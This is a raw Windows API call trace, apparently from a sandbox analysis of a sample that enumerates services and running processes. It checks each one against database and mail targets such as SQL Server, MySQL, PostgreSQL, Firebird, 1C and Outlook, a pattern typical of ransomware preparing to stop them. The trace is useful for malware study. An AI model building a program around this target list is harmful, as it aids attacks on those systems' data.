	[0254.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0254.471] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0254.471] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0254.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0254.471] lstrlenW (lpString="gpsvc") returned 5
	[0254.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0254.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0254.471] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0254.471] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0254.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0254.472] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0254.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0254.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0254.472] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0254.472] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0254.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0254.472] lstrlenW (lpString="lmhosts") returned 7
	[0254.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0254.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0254.472] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0254.472] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0254.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0254.472] lstrlenW (lpString="MMCSS") returned 5
	[0254.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0254.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0254.472] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0254.472] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0254.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0254.472] lstrlenW (lpString="MpsSvc") returned 6
	[0254.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0254.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0254.472] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0254.472] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0254.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0254.472] lstrlenW (lpString="nsi") returned 3
	[0254.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0254.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0254.472] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0254.472] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0254.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0254.472] lstrlenW (lpString="PlugPlay") returned 8
	[0254.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0254.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0254.473] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0254.473] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0254.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0254.473] lstrlenW (lpString="Power") returned 5
	[0254.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0254.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0254.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0254.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0254.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0254.473] lstrlenW (lpString="ProfSvc") returned 7
	[0254.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0254.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0254.473] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0254.473] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0254.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0254.473] lstrlenW (lpString="RpcEptMapper") returned 12
	[0254.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0254.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0254.473] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0254.473] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0254.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0254.473] lstrlenW (lpString="RpcSs") returned 5
	[0254.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0254.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0254.473] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0254.473] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0254.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0254.473] lstrlenW (lpString="SamSs") returned 5
	[0254.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0254.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0254.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0254.474] lstrlenW (lpString="Schedule") returned 8
	[0254.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0254.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0254.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0254.474] lstrlenW (lpString="SENS") returned 4
	[0254.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0254.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0254.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0254.474] lstrlenW (lpString="ShellHWDetection") returned 16
	[0254.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0254.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0254.474] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0254.474] lstrlenW (lpString="Spooler") returned 7
	[0254.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0254.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0254.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0254.474] lstrlenW (lpString="Themes") returned 6
	[0254.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0254.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0254.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0254.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0254.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0254.475] lstrlenW (lpString="UxSms") returned 5
	[0254.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0254.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0254.475] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0254.475] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0254.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0254.475] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0254.475] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328
	[0254.476] Process32FirstW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0254.477] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0254.477] lstrlenW (lpString="System") returned 6
	[0254.477] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0254.477] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0254.477] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0254.477] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0254.477] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0254.477] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0254.477] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0254.477] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0254.478] lstrlenW (lpString="smss.exe") returned 8
	[0254.478] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0254.478] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0254.478] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0254.478] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0254.478] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0254.478] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0254.478] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0254.478] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0254.478] lstrlenW (lpString="csrss.exe") returned 9
	[0254.478] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0254.478] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0254.478] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0254.478] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0254.478] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0254.478] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0254.478] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0254.478] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0254.479] lstrlenW (lpString="wininit.exe") returned 11
	[0254.479] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0254.479] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0254.479] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0254.479] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0254.479] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0254.479] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0254.479] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0254.479] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0254.479] lstrlenW (lpString="csrss.exe") returned 9
	[0254.479] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0254.479] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0254.479] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0254.479] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0254.479] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0254.479] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0254.479] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0254.480] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0254.480] lstrlenW (lpString="winlogon.exe") returned 12
	[0254.480] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0254.480] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0254.480] lstrlenW (lpString="services.exe") returned 12
	[0254.480] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0254.480] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0254.481] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0254.481] lstrlenW (lpString="lsass.exe") returned 9
	[0254.481] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0254.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0254.481] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0254.481] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0254.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0254.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0254.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0254.481] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0254.481] lstrlenW (lpString="lsm.exe") returned 7
	[0254.481] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0254.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0254.481] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0254.481] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0254.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0254.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0254.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0254.482] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0254.482] lstrlenW (lpString="svchost.exe") returned 11
	[0254.482] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0254.482] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0254.482] lstrlenW (lpString="svchost.exe") returned 11
	[0254.482] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0254.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0254.483] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0254.483] lstrlenW (lpString="svchost.exe") returned 11
	[0254.483] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0254.483] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0254.483] lstrlenW (lpString="svchost.exe") returned 11
	[0254.483] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0254.483] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0254.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0254.484] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0254.484] lstrlenW (lpString="svchost.exe") returned 11
	[0254.484] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0254.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0254.484] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0254.484] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0254.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0254.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0254.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0254.484] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0254.484] lstrlenW (lpString="audiodg.exe") returned 11
	[0254.484] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0254.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0254.484] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0254.484] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0254.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0254.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0254.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0254.485] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0254.485] lstrlenW (lpString="svchost.exe") returned 11
	[0254.485] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0254.485] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0254.485] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0254.485] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0254.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0254.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0254.485] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0254.485] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0254.486] lstrlenW (lpString="userinit.exe") returned 12
	[0254.486] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0254.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0254.486] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0254.486] lstrlenW (lpString="explorer.exe") returned 12
	[0254.486] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0254.487] lstrlenW (lpString="dwm.exe") returned 7
	[0254.487] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0254.487] lstrlenW (lpString="svchost.exe") returned 11
	[0254.487] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0254.487] lstrlenW (lpString="swpesp.exe") returned 10
